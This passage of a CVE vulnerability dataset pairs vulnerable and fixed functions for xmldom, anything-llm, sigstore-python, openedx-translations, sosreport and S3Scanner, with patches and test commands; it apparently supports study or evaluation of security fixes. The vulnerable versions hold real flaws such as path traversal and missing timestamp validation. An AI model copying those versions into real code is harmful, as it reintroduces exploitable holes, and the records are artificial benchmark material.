\"<?\",node.target,\" \",node.data,\"?>\");\n\tcase ENTITY_REFERENCE_NODE:\n\t\treturn buf.push( '&',node.nodeName,';');\n\t//case ENTITY_NODE:\n\t//case NOTATION_NODE:\n\tdefault:\n\t\tbuf.push('??',node.nodeName);\n\t}\n}"}, {"id": "fix_js_74_2", "commit": "7b4b743917a892d407356e055b296dcd6d107e8b", "file_path": "lib/dom.js", "start_line": 1132, "end_line": 1140, "snippet": "/**\n * Well-formed constraint: No < in Attribute Values\n * The replacement text of any entity referred to directly or indirectly in an attribute value must not contain a <.\n * @see https://www.w3.org/TR/xml/#CleanAttrVals\n * @see https://www.w3.org/TR/xml/#NT-AttValue\n */\nfunction addSerializedAttribute(buf, qualifiedName, value) {\n\tbuf.push(' ', qualifiedName, '=\"', value.replace(/[<&\"]/g,_xmlEncoder), '\"')\n}"}], "vul_patch": "--- a/lib/dom.js\n+++ b/lib/dom.js\n@@ -64,8 +64,7 @@\n \t\t\tif (needNamespaceDefine(attr,isHTML, visibleNamespaces)) {\n \t\t\t\tvar prefix = attr.prefix||'';\n \t\t\t\tvar uri = attr.namespaceURI;\n-\t\t\t\tvar ns = prefix ? ' xmlns:' + prefix : \" xmlns\";\n-\t\t\t\tbuf.push(ns, '=\"' , uri , '\"');\n+\t\t\t\taddSerializedAttribute(buf, prefix ? 'xmlns:' + prefix : \"xmlns\", uri);\n \t\t\t\tvisibleNamespaces.push({ prefix: prefix, namespace:uri });\n \t\t\t}\n \t\t\tserializeToString(attr,buf,isHTML,nodeFilter,visibleNamespaces);\n@@ -75,8 +74,7 @@\n \t\tif (nodeName === prefixedNodeName && needNamespaceDefine(node, isHTML, visibleNamespaces)) {\n \t\t\tvar prefix = node.prefix||'';\n \t\t\tvar uri = node.namespaceURI;\n-\t\t\tvar ns = prefix ? ' xmlns:' + prefix : \" xmlns\";\n-\t\t\tbuf.push(ns, '=\"' , uri , '\"');\n+\t\t\taddSerializedAttribute(buf, prefix ? 'xmlns:' + prefix : \"xmlns\", uri);\n \t\t\tvisibleNamespaces.push({ prefix: prefix, namespace:uri });\n \t\t}\n \t\t\n@@ -115,13 +113,7 @@\n \t\t}\n \t\treturn;\n \tcase ATTRIBUTE_NODE:\n-\t\t/**\n-\t\t * Well-formedness constraint: No < in Attribute Values\n-\t\t * The replacement text of any entity referred to directly or indirectly in an attribute value must not contain a <.\n-\t\t * @see https://www.w3.org/TR/xml/#CleanAttrVals\n-\t\t * @see https://www.w3.org/TR/xml/#NT-AttValue\n-\t\t */\n-\t\treturn buf.push(' ', node.name, '=\"', node.value.replace(/[<&\"]/g,_xmlEncoder), '\"');\n+\t\treturn addSerializedAttribute(buf, node.name, node.value);\n \tcase TEXT_NODE:\n \t\t/**\n \t\t * The ampersand character (&) and the left angle bracket (<) must not appear in their literal form,\n\n--- /dev/null\n+++ b/lib/dom.js\n@@ -0,0 +1,9 @@\n+/**\n+ * Well-formed constraint: No < in Attribute Values\n+ * The replacement text of any entity referred to directly or indirectly in an attribute value must not contain a <.\n+ * @see https://www.w3.org/TR/xml/#CleanAttrVals\n+ * @see https://www.w3.org/TR/xml/#NT-AttValue\n+ */\n+function addSerializedAttribute(buf, qualifiedName, value) {\n+\tbuf.push(' ', qualifiedName, '=\"', value.replace(/[<&\"]/g,_xmlEncoder), '\"')\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-32796:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/xmldom\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx jest -t \"should escape special characters in namespace attributes\" test/dom/serializer.test.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-32796:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/xmldom\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx jest  test/dom/serializer.test.js\n"}
{"cve_id": "CVE-2023-5832", "cve_description": "Improper Input Validation in GitHub repository mintplex-labs/anything-llm prior to 0.1.0.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/mintplex-labs/anything-llm", "patch_url": ["https://github.com/mintplex-labs/anything-llm/commit/18798c5b640018aaee924e0afd941705d88df92e"], "programing_language": "Python", "vul_func": [{"id": "vul_py_314_1", "commit": "d5b1f84", "file_path": "collector/api.py", "start_line": "7", "end_line": "13", "snippet": "@api.route('/process', methods=['POST'])\ndef process_file():\n  content = request.json\n  target_filename = content.get('filename')\n  print(f\"Processing {target_filename}\")\n  success, reason = process_single(WATCH_DIRECTORY, target_filename)\n  return json.dumps({'filename': target_filename, 'success': success, 'reason': reason})"}], "fix_func": [{"id": "fix_py_314_1", "commit": "18798c5", "file_path": "collector/api.py", "start_line": "8", "end_line": "14", "snippet": "@api.route('/process', methods=['POST'])\ndef process_file():\n  content = request.json\n  target_filename = os.path.normpath(content.get('filename')).lstrip(os.pardir + os.sep)\n  print(f\"Processing {target_filename}\")\n  success, reason = process_single(WATCH_DIRECTORY, target_filename)\n  return json.dumps({'filename': target_filename, 'success': success, 'reason': reason})"}, {"id": "fix_py_314_2", "commit": "18798c5", "file_path": "collector/api.py", "start_line": "1", "end_line": "1", "snippet": "import os"}], "vul_patch": "--- a/collector/api.py\n+++ b/collector/api.py\n@@ -1,7 +1,7 @@\n @api.route('/process', methods=['POST'])\n def process_file():\n   content = request.json\n-  target_filename = content.get('filename')\n+  target_filename = os.path.normpath(content.get('filename')).lstrip(os.pardir + os.sep)\n   print(f\"Processing {target_filename}\")\n   success, reason = process_single(WATCH_DIRECTORY, target_filename)\n   return json.dumps({'filename': target_filename, 'success': success, 'reason': reason})\n\n--- /dev/null\n+++ b/collector/api.py\n@@ -0,0 +1 @@\n+import os\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-55655", "cve_description": "sigstore-python is a Python tool for generating and verifying Sigstore signatures. Versions of sigstore-python newer than 2.0.0 but prior to 3.6.0 perform insufficient validation of the \"integration time\" present in \"v2\" and \"v3\" bundles during the verification flow: the \"integration time\" is verified *if* a source of signed time (such as an inclusion promise) is present, but is otherwise trusted if no source of signed time is present. This does not affect \"v1\" bundles, as the \"v1\" bundle format always requires an inclusion promise.\n\nSigstore uses signed time to support verification of signatures made against short-lived signing keys. The impact and severity of this weakness is *low*, as Sigstore contains multiple other enforcing components that prevent an attacker who modifies the integration timestamp within a bundle from impersonating a valid signature. In particular, an attacker who modifies the integration timestamp can induce a Denial of Service, but in no different manner than already possible with bundle access (e.g. modifying the signature itself such that it fails to verify). Separately, an attacker could upload a *new* entry to the transparency service, and substitute their new entry's time. However, this would still be rejected at validation time, as the new entry's (valid) signed time would be outside the validity window of the original signing certificate and would nonetheless render the attacker auditable.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/sigstore/sigstore-python", "patch_url": ["https://github.com/sigstore/sigstore-python/commit/300b502ae99ebfaace124f1f4e422a6a669369cf"], "programing_language": "Python", "vul_func": [{"id": "vul_py_300_1", "commit": "9ee7ac2", "file_path": "sigstore/models.py", "start_line": 447, "end_line": 546, "snippet": "    def _verify(self) -> None:\n        \"\"\"\n        Performs various feats of heroism to ensure the bundle is well-formed\n        and upholds invariants, including:\n\n        * The \"leaf\" (signing) certificate is present;\n        * There is a inclusion proof present, even if the Bundle's version\n           predates a mandatory inclusion proof.\n        \"\"\"\n\n        # The bundle must have a recognized media type.\n        try:\n            media_type = Bundle.BundleType(self._inner.media_type)\n        except ValueError:\n            raise InvalidBundle(f\"unsupported bundle format: {self._inner.media_type}\")\n\n        # Extract the signing certificate.\n        if media_type in (\n            Bundle.BundleType.BUNDLE_0_3,\n            Bundle.BundleType.BUNDLE_0_3_ALT,\n        ):\n            # For \"v3\" bundles, the signing certificate is the only one present.\n            leaf_cert = load_der_x509_certificate(\n                self._inner.verification_material.certificate.raw_bytes\n            )\n        else:\n            # In older bundles, there is an entire pool (misleadingly called\n            # a chain) of certificates, the first of which is the signing\n            # certificate.\n            certs = (\n                self._inner.verification_material.x509_certificate_chain.certificates\n            )\n\n            if len(certs) == 0:\n                raise InvalidBundle(\"expected non-empty certificate chain in bundle\")\n\n            # Per client policy in protobuf-specs: the first entry in the chain\n            # MUST be a leaf certificate, and the rest of the chain MUST NOT\n            # include a root CA or any intermediate CAs that appear in an\n            # independent root of trust.\n            #\n            # We expect some old bundles to violate the rules around root\n            # and intermediate CAs, so we issue warnings and not hard errors\n            # in those cases.\n            leaf_cert, *chain_certs = [\n                load_der_x509_certificate(cert.raw_bytes) for cert in certs\n            ]\n            if not cert_is_leaf(leaf_cert):\n                raise InvalidBundle(\n                    \"bundle contains an invalid leaf or non-leaf certificate in the leaf position\"\n                )\n\n            for chain_cert in chain_certs:\n                # TODO: We should also retrieve the root of trust here and\n                # cross-check against it.\n                if cert_is_root_ca(chain_cert):\n                    _logger.warning(\n                        \"this bundle contains a root CA, making it subject to misuse\"\n                    )\n\n        self._signing_certificate = leaf_cert\n\n        # Extract the log entry. For the time being, we expect\n        # bundles to only contain a single log entry.\n        tlog_entries = self._inner.verification_material.tlog_entries\n        if len(tlog_entries) != 1:\n            raise InvalidBundle(\"expected exactly one log entry in bundle\")\n        tlog_entry = tlog_entries[0]\n\n        # Handling of inclusion promises and proofs varies between bundle\n        # format versions:\n        #\n        # * For 0.1, an inclusion promise is required; the client\n        #   MUST verify the inclusion promise.\n        #   The inclusion proof is NOT required. If provided, it might NOT\n        #   contain a checkpoint; in this case, we ignore it (since it's\n        #   useless without one).\n        #\n        # * For 0.2+, an inclusion proof is required; the client MUST\n        #   verify the inclusion proof. The inclusion prof MUST contain\n        #   a checkpoint.\n        #   The inclusion promise is NOT required; if present, the client\n        #   SHOULD verify it.\n        #\n        # Before all of this, we require that the inclusion proof be present\n        # (when constructing the LogEntry).\n        log_entry = LogEntry._from_dict_rekor(tlog_entry.to_dict())\n\n        if media_type == Bundle.BundleType.BUNDLE_0_1:\n            if not log_entry.inclusion_promise:\n                raise InvalidBundle(\"bundle must contain an inclusion promise\")\n            if not log_entry.inclusion_proof.checkpoint:\n                _logger.debug(\n                    \"0.1 bundle contains inclusion proof without checkpoint; ignoring\"\n                )\n        else:\n            if not log_entry.inclusion_proof.checkpoint:\n                raise InvalidBundle(\"expected checkpoint in inclusion proof\")\n\n        self._log_entry = log_entry"}, {"id": "vul_py_300_2", "commit": "9ee7ac2", "file_path": "sigstore/verify/verifier.py", "start_line": 198, "end_line": 237, "snippet": "    def _establish_time(self, bundle: Bundle) -> List[TimestampVerificationResult]:\n        \"\"\"\n        Establish the time for bundle verification.\n\n        This method uses timestamps from two possible sources:\n        1. RFC3161 signed timestamps from a Timestamping Authority (TSA)\n        2. Transparency Log timestamps\n        \"\"\"\n        verified_timestamps = []\n\n        # If a timestamp from the timestamping service is available, the Verifier MUST\n        # perform path validation using the timestamp from the Timestamping Service.\n        if bundle.verification_material.timestamp_verification_data.rfc3161_timestamps:\n            if not self._trusted_root.get_timestamp_authorities():\n                msg = (\n                    \"no Timestamp Authorities have been provided to validate this \"\n                    \"bundle but it contains a signed timestamp\"\n                )\n                raise VerificationError(msg)\n\n            timestamp_from_tsa = self._verify_timestamp_authority(bundle)\n            if len(timestamp_from_tsa) < VERIFY_TIMESTAMP_THRESHOLD:\n                msg = (\n                    f\"not enough timestamps validated to meet the validation \"\n                    f\"threshold ({len(timestamp_from_tsa)}/{VERIFY_TIMESTAMP_THRESHOLD})\"\n                )\n                raise VerificationError(msg)\n\n            verified_timestamps.extend(timestamp_from_tsa)\n\n        # If a timestamp from the Transparency Service is available, the Verifier MUST\n        # perform path validation using the timestamp from the Transparency Service.\n        if timestamp := bundle.log_entry.integrated_time:\n            verified_timestamps.append(\n                TimestampVerificationResult(\n                    source=TimestampSource.TRANSPARENCY_SERVICE,\n                    time=datetime.fromtimestamp(timestamp, tz=timezone.utc),\n                )\n            )\n        return verified_timestamps"}], "fix_func": [{"id": "fix_py_300_1", "commit": "300b502ae99ebfaace124f1f4e422a6a669369cf", "file_path": "sigstore/models.py", "start_line": 447, "end_line": 557, "snippet": "    def _verify(self) -> None:\n        \"\"\"\n        Performs various feats of heroism to ensure the bundle is well-formed\n        and upholds invariants, including:\n\n        * The \"leaf\" (signing) certificate is present;\n        * There is a inclusion proof present, even if the Bundle's version\n           predates a mandatory inclusion proof.\n        \"\"\"\n\n        # The bundle must have a recognized media type.\n        try:\n            media_type = Bundle.BundleType(self._inner.media_type)\n        except ValueError:\n            raise InvalidBundle(f\"unsupported bundle format: {self._inner.media_type}\")\n\n        # Extract the signing certificate.\n        if media_type in (\n            Bundle.BundleType.BUNDLE_0_3,\n            Bundle.BundleType.BUNDLE_0_3_ALT,\n        ):\n            # For \"v3\" bundles, the signing certificate is the only one present.\n            leaf_cert = load_der_x509_certificate(\n                self._inner.verification_material.certificate.raw_bytes\n            )\n        else:\n            # In older bundles, there is an entire pool (misleadingly called\n            # a chain) of certificates, the first of which is the signing\n            # certificate.\n            certs = (\n                self._inner.verification_material.x509_certificate_chain.certificates\n            )\n\n            if len(certs) == 0:\n                raise InvalidBundle(\"expected non-empty certificate chain in bundle\")\n\n            # Per client policy in protobuf-specs: the first entry in the chain\n            # MUST be a leaf certificate, and the rest of the chain MUST NOT\n            # include a root CA or any intermediate CAs that appear in an\n            # independent root of trust.\n            #\n            # We expect some old bundles to violate the rules around root\n            # and intermediate CAs, so we issue warnings and not hard errors\n            # in those cases.\n            leaf_cert, *chain_certs = [\n                load_der_x509_certificate(cert.raw_bytes) for cert in certs\n            ]\n            if not cert_is_leaf(leaf_cert):\n                raise InvalidBundle(\n                    \"bundle contains an invalid leaf or non-leaf certificate in the leaf position\"\n                )\n\n            for chain_cert in chain_certs:\n                # TODO: We should also retrieve the root of trust here and\n                # cross-check against it.\n                if cert_is_root_ca(chain_cert):\n                    _logger.warning(\n                        \"this bundle contains a root CA, making it subject to misuse\"\n                    )\n\n        self._signing_certificate = leaf_cert\n\n        # Extract the log entry. For the time being, we expect\n        # bundles to only contain a single log entry.\n        tlog_entries = self._inner.verification_material.tlog_entries\n        if len(tlog_entries) != 1:\n            raise InvalidBundle(\"expected exactly one log entry in bundle\")\n        tlog_entry = tlog_entries[0]\n\n        # Handling of inclusion promises and proofs varies between bundle\n        # format versions:\n        #\n        # * For 0.1, an inclusion promise is required; the client\n        #   MUST verify the inclusion promise.\n        #   The inclusion proof is NOT required. If provided, it might NOT\n        #   contain a checkpoint; in this case, we ignore it (since it's\n        #   useless without one).\n        #\n        # * For 0.2+, an inclusion proof is required; the client MUST\n        #   verify the inclusion proof. The inclusion prof MUST contain\n        #   a checkpoint.\n        #\n        #   The inclusion promise is NOT required if another source of signed\n        #   time (such as a signed timestamp) is present. If no other source\n        #   of signed time is present, then the inclusion promise MUST be\n        #   present.\n        #\n        # Before all of this, we require that the inclusion proof be present\n        # (when constructing the LogEntry).\n        log_entry = LogEntry._from_dict_rekor(tlog_entry.to_dict())\n\n        if media_type == Bundle.BundleType.BUNDLE_0_1:\n            if not log_entry.inclusion_promise:\n                raise InvalidBundle(\"bundle must contain an inclusion promise\")\n            if not log_entry.inclusion_proof.checkpoint:\n                _logger.debug(\n                    \"0.1 bundle contains inclusion proof without checkpoint; ignoring\"\n                )\n        else:\n            if not log_entry.inclusion_proof.checkpoint:\n                raise InvalidBundle(\"expected checkpoint in inclusion proof\")\n\n            if (\n                not log_entry.inclusion_promise\n                and not self._inner.verification_material.timestamp_verification_data.rfc3161_timestamps\n            ):\n                raise InvalidBundle(\n                    \"bundle must contain an inclusion promise or signed timestamp(s)\"\n                )\n\n        self._log_entry = log_entry"}, {"id": "fix_py_300_2", "commit": "300b502ae99ebfaace124f1f4e422a6a669369cf", "file_path": "sigstore/verify/verifier.py", "start_line": 198, "end_line": 242, "snippet": "    def _establish_time(self, bundle: Bundle) -> List[TimestampVerificationResult]:\n        \"\"\"\n        Establish the time for bundle verification.\n\n        This method uses timestamps from two possible sources:\n        1. RFC3161 signed timestamps from a Timestamping Authority (TSA)\n        2. Transparency Log timestamps\n        \"\"\"\n        verified_timestamps = []\n\n        # If a timestamp from the timestamping service is available, the Verifier MUST\n        # perform path validation using the timestamp from the Timestamping Service.\n        if bundle.verification_material.timestamp_verification_data.rfc3161_timestamps:\n            if not self._trusted_root.get_timestamp_authorities():\n                msg = (\n                    \"no Timestamp Authorities have been provided to validate this \"\n                    \"bundle but it contains a signed timestamp\"\n                )\n                raise VerificationError(msg)\n\n            timestamp_from_tsa = self._verify_timestamp_authority(bundle)\n            if len(timestamp_from_tsa) < VERIFY_TIMESTAMP_THRESHOLD:\n                msg = (\n                    f\"not enough timestamps validated to meet the validation \"\n                    f\"threshold ({len(timestamp_from_tsa)}/{VERIFY_TIMESTAMP_THRESHOLD})\"\n                )\n                raise VerificationError(msg)\n\n            verified_timestamps.extend(timestamp_from_tsa)\n\n        # If a timestamp from the Transparency Service is available, the Verifier MUST\n        # perform path validation using the timestamp from the Transparency Service.\n        # NOTE: We only include this timestamp if it's accompanied by an inclusion\n        # promise that cryptographically binds it. We verify the inclusion promise\n        # itself later, as part of log entry verification.\n        if (\n            timestamp := bundle.log_entry.integrated_time\n        ) and bundle.log_entry.inclusion_promise:\n            verified_timestamps.append(\n                TimestampVerificationResult(\n                    source=TimestampSource.TRANSPARENCY_SERVICE,\n                    time=datetime.fromtimestamp(timestamp, tz=timezone.utc),\n                )\n            )\n        return verified_timestamps"}], "vul_patch": "--- a/sigstore/models.py\n+++ b/sigstore/models.py\n@@ -79,8 +79,11 @@\n         # * For 0.2+, an inclusion proof is required; the client MUST\n         #   verify the inclusion proof. The inclusion prof MUST contain\n         #   a checkpoint.\n-        #   The inclusion promise is NOT required; if present, the client\n-        #   SHOULD verify it.\n+        #\n+        #   The inclusion promise is NOT required if another source of signed\n+        #   time (such as a signed timestamp) is present. If no other source\n+        #   of signed time is present, then the inclusion promise MUST be\n+        #   present.\n         #\n         # Before all of this, we require that the inclusion proof be present\n         # (when constructing the LogEntry).\n@@ -97,4 +100,12 @@\n             if not log_entry.inclusion_proof.checkpoint:\n                 raise InvalidBundle(\"expected checkpoint in inclusion proof\")\n \n+            if (\n+                not log_entry.inclusion_promise\n+                and not self._inner.verification_material.timestamp_verification_data.rfc3161_timestamps\n+            ):\n+                raise InvalidBundle(\n+                    \"bundle must contain an inclusion promise or signed timestamp(s)\"\n+                )\n+\n         self._log_entry = log_entry\n\n--- a/sigstore/verify/verifier.py\n+++ b/sigstore/verify/verifier.py\n@@ -30,7 +30,12 @@\n \n         # If a timestamp from the Transparency Service is available, the Verifier MUST\n         # perform path validation using the timestamp from the Transparency Service.\n-        if timestamp := bundle.log_entry.integrated_time:\n+        # NOTE: We only include this timestamp if it's accompanied by an inclusion\n+        # promise that cryptographically binds it. We verify the inclusion promise\n+        # itself later, as part of log entry verification.\n+        if (\n+            timestamp := bundle.log_entry.integrated_time\n+        ) and bundle.log_entry.inclusion_promise:\n             verified_timestamps.append(\n                 TimestampVerificationResult(\n                     source=TimestampSource.TRANSPARENCY_SERVICE,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-43782", "cve_description": "This openedx-translations repository contains translation files from Open edX repositories to be kept in sync with Transifex. Before moving to pulling translations from the openedx-translations repository via openedx-atlas, translations in the edx-platform repository were validated using edx-i18n-tools. This validation included protection against malformed translations and translations-based script injections. Prior to this patch, the validation implemented in the openedx-translations repository did not include the same protections. The maintainer inspected the translations in the edx-platform directory of both the main and open-release/redwood.master branches of the openedx-translations repository and found no evidence of exploited translation strings.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/openedx/openedx-translations", "patch_url": ["https://github.com/openedx/openedx-translations/commit/3c4093705dec99590577c4d8270ce263f7fffc5a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_155_1", "commit": "3108cb7", "file_path": "scripts/validate_translation_files.py", "start_line": 25, "end_line": 44, "snippet": "def validate_translation_file(po_file):\n    \"\"\"\n    Validate a translation file and return errors if any.\n\n    This function combines both stderr and stdout output of the `msgfmt` in a\n    single variable.\n    \"\"\"\n    completed_process = subprocess.run(\n        ['msgfmt', '-v', '--strict', '--check', po_file],\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n    )\n\n    stdout = completed_process.stdout.decode(encoding='utf-8', errors='replace')\n    stderr = completed_process.stderr.decode(encoding='utf-8', errors='replace')\n\n    return {\n        'valid': completed_process.returncode == 0,\n        'output': f'{stdout}\\n{stderr}',\n    }"}], "fix_func": [{"id": "fix_py_155_1", "commit": "3c40937", "file_path": "scripts/validate_translation_files.py", "start_line": 27, "end_line": 71, "snippet": "def validate_translation_file(po_file):\n    \"\"\"\n    Validate a translation file and return errors if any.\n\n    This function combines both stderr and stdout output of the `msgfmt` in a\n    single variable.\n    \"\"\"\n    valid = True\n    output = \"\"\n\n    completed_process = subprocess.run(\n        ['msgfmt', '-v', '--strict', '--check', po_file],\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n    )\n\n    if completed_process.returncode != 0:\n        valid = False\n\n    msgfmt_stdout = completed_process.stdout.decode(encoding='utf-8', errors='replace')\n    msgfmt_stderr = completed_process.stderr.decode(encoding='utf-8', errors='replace')\n    output += f'{msgfmt_stdout}\\n{msgfmt_stderr}\\n'\n\n    try:\n      problems = i18n.validate.check_messages(po_file)\n    except Exception as e:\n      output += f'{e} {traceback.format_exc()}'\n      valid = False\n      problems = []\n    if problems:\n        valid = False\n\n    id_filler = textwrap.TextWrapper(width=79, initial_indent=\"  msgid: \", subsequent_indent=\" \" * 9)\n    tx_filler = textwrap.TextWrapper(width=79, initial_indent=\"  -----> \", subsequent_indent=\" \" * 9)\n    for problem in problems:\n        desc, msgid = problem[:2]\n        output += f\"{desc}\\n{id_filler.fill(msgid)}\\n\"\n        for translation in problem[2:]:\n            output += f\"{tx_filler.fill(translation)}\\n\"\n        output += \"\\n\"\n\n    return {\n        'valid': valid,\n        'output': output,\n    }"}], "vul_patch": "--- a/scripts/validate_translation_files.py\n+++ b/scripts/validate_translation_files.py\n@@ -5,16 +5,41 @@\n     This function combines both stderr and stdout output of the `msgfmt` in a\n     single variable.\n     \"\"\"\n+    valid = True\n+    output = \"\"\n+\n     completed_process = subprocess.run(\n         ['msgfmt', '-v', '--strict', '--check', po_file],\n         stdout=subprocess.PIPE,\n         stderr=subprocess.PIPE,\n     )\n \n-    stdout = completed_process.stdout.decode(encoding='utf-8', errors='replace')\n-    stderr = completed_process.stderr.decode(encoding='utf-8', errors='replace')\n+    if completed_process.returncode != 0:\n+        valid = False\n+\n+    msgfmt_stdout = completed_process.stdout.decode(encoding='utf-8', errors='replace')\n+    msgfmt_stderr = completed_process.stderr.decode(encoding='utf-8', errors='replace')\n+    output += f'{msgfmt_stdout}\\n{msgfmt_stderr}\\n'\n+\n+    try:\n+      problems = i18n.validate.check_messages(po_file)\n+    except Exception as e:\n+      output += f'{e} {traceback.format_exc()}'\n+      valid = False\n+      problems = []\n+    if problems:\n+        valid = False\n+\n+    id_filler = textwrap.TextWrapper(width=79, initial_indent=\"  msgid: \", subsequent_indent=\" \" * 9)\n+    tx_filler = textwrap.TextWrapper(width=79, initial_indent=\"  -----> \", subsequent_indent=\" \" * 9)\n+    for problem in problems:\n+        desc, msgid = problem[:2]\n+        output += f\"{desc}\\n{id_filler.fill(msgid)}\\n\"\n+        for translation in problem[2:]:\n+            output += f\"{tx_filler.fill(translation)}\\n\"\n+        output += \"\\n\"\n \n     return {\n-        'valid': completed_process.returncode == 0,\n-        'output': f'{stdout}\\n{stderr}',\n+        'valid': valid,\n+        'output': output,\n     }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-3171", "cve_description": "sosreport 3.2 uses weak permissions for generated sosreport archives, which allows local users with access to /var/tmp/ to obtain sensitive information by reading the contents of the archive.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/sosreport/sos", "patch_url": ["https://github.com/sosreport/sos/commit/d7759d3ddae5fe99a340c88a1d370d65cfa73fd6"], "programing_language": "Python", "vul_func": [{"id": "vul_py_133_1", "commit": "48a99c9", "file_path": "sos/sosreport.py", "start_line": 1324, "end_line": 1352, "snippet": "    def final_work(self):\n        # this must come before archive creation to ensure that log\n        # files are closed and cleaned up at exit.\n        self._finish_logging()\n        # package up the results for the support organization\n        if not self.opts.build:\n            if not self.opts.quiet:\n                print(_(\"Creating compressed archive...\"))\n            # compression could fail for a number of reasons\n            try:\n                final_filename = self.archive.finalize(\n                    self.opts.compression_type)\n            except (OSError, IOError) as e:\n                if e.errno in fatal_fs_errors:\n                    self.ui_log.error(\"\")\n                    self.ui_log.error(\" %s while finalizing archive\"\n                                      % e.strerror)\n                    self.ui_log.error(\"\")\n                    self._exit(1)\n            except:\n                if self.opts.debug:\n                    raise\n                else:\n                    return False\n        else:\n            final_filename = self.archive.get_archive_path()\n        self.policy.display_results(final_filename, build=self.opts.build)\n        self.tempfile_util.clean()\n        return True"}], "fix_func": [{"id": "fix_py_133_1", "commit": "d7759d3", "file_path": "sos/sosreport.py", "start_line": 1324, "end_line": 1355, "snippet": "    def final_work(self):\n        # this must come before archive creation to ensure that log\n        # files are closed and cleaned up at exit.\n        self._finish_logging()\n        # package up the results for the support organization\n        if not self.opts.build:\n            old_umask = os.umask(0o077)\n            if not self.opts.quiet:\n                print(_(\"Creating compressed archive...\"))\n            # compression could fail for a number of reasons\n            try:\n                final_filename = self.archive.finalize(\n                    self.opts.compression_type)\n            except (OSError, IOError) as e:\n                if e.errno in fatal_fs_errors:\n                    self.ui_log.error(\"\")\n                    self.ui_log.error(\" %s while finalizing archive\"\n                                      % e.strerror)\n                    self.ui_log.error(\"\")\n                    self._exit(1)\n            except:\n                if self.opts.debug:\n                    raise\n                else:\n                    return False\n            finally:\n                os.umask(old_umask)\n        else:\n            final_filename = self.archive.get_archive_path()\n        self.policy.display_results(final_filename, build=self.opts.build)\n        self.tempfile_util.clean()\n        return True"}], "vul_patch": "--- a/sos/sosreport.py\n+++ b/sos/sosreport.py\n@@ -4,6 +4,7 @@\n         self._finish_logging()\n         # package up the results for the support organization\n         if not self.opts.build:\n+            old_umask = os.umask(0o077)\n             if not self.opts.quiet:\n                 print(_(\"Creating compressed archive...\"))\n             # compression could fail for a number of reasons\n@@ -22,6 +23,8 @@\n                     raise\n                 else:\n                     return False\n+            finally:\n+                os.umask(old_umask)\n         else:\n             final_filename = self.archive.get_archive_path()\n         self.policy.display_results(final_filename, build=self.opts.build)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32061", "cve_description": "S3Scanner before 2.0.2 allows Directory Traversal via a crafted bucket, as demonstrated by a <Key>../ substring in a ListBucketResult element.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/sa7mon/S3Scanner", "patch_url": ["https://github.com/sa7mon/S3Scanner/commit/fafa30a3bd35b496b3f7db9bfc35b75a8a06bcd1"], "programing_language": "Python", "vul_func": [{"id": "vul_py_184_1", "commit": "6f7a679", "file_path": "S3Scanner/S3Service.py", "start_line": 291, "end_line": 314, "snippet": "    def download_file(self, dest_directory, bucket, verbose, obj):\n        \"\"\"\n        Download `obj` from `bucket` into `dest_directory`\n\n        :param str dest_directory: Directory to store the object into\n        :param S3Bucket bucket: Bucket to download the object from\n        :param bool verbose: Output verbose messages to the user\n        :param S3BucketObject obj: Object to downlaod\n        :return: None\n        \"\"\"\n        dest_file_path = pathlib.Path(normpath(dest_directory + obj.key))\n        if dest_file_path.exists():\n            if dest_file_path.stat().st_size == obj.size:\n                if verbose:\n                    print(f\"{bucket.name} | Skipping {obj.key} - already downloaded\")\n                return\n            else:\n                if verbose:\n                    print(f\"{bucket.name} | Re-downloading {obj.key} - local size differs from remote\")\n        else:\n            if verbose:\n                print(f\"{bucket.name} | Downloading {obj.key}\")\n        dest_file_path.parent.mkdir(parents=True, exist_ok=True)  # Equivalent to `mkdir -p`\n        self.s3_client.download_file(bucket.name, obj.key, str(dest_file_path))"}], "fix_func": [{"id": "fix_py_184_1", "commit": "fafa30a", "file_path": "S3Scanner/S3Service.py", "start_line": 292, "end_line": 319, "snippet": "    def download_file(self, dest_directory, bucket, verbose, obj):\n        \"\"\"\n        Download `obj` from `bucket` into `dest_directory`\n\n        :param str dest_directory: Directory to store the object into. _Must_ end in a slash\n        :param S3Bucket bucket: Bucket to download the object from\n        :param bool verbose: Output verbose messages to the user\n        :param S3BucketObject obj: Object to downlaod\n        :return: None\n        \"\"\"\n        dest_file_path = pathlib.Path(os.path.normpath(os.path.join(dest_directory, obj.key)))\n\n        if not self.is_safe_file_to_download(obj.key, dest_directory):\n            print(f\"{bucket.name} | Skipping file {obj.key}. File references a parent directory.\")\n    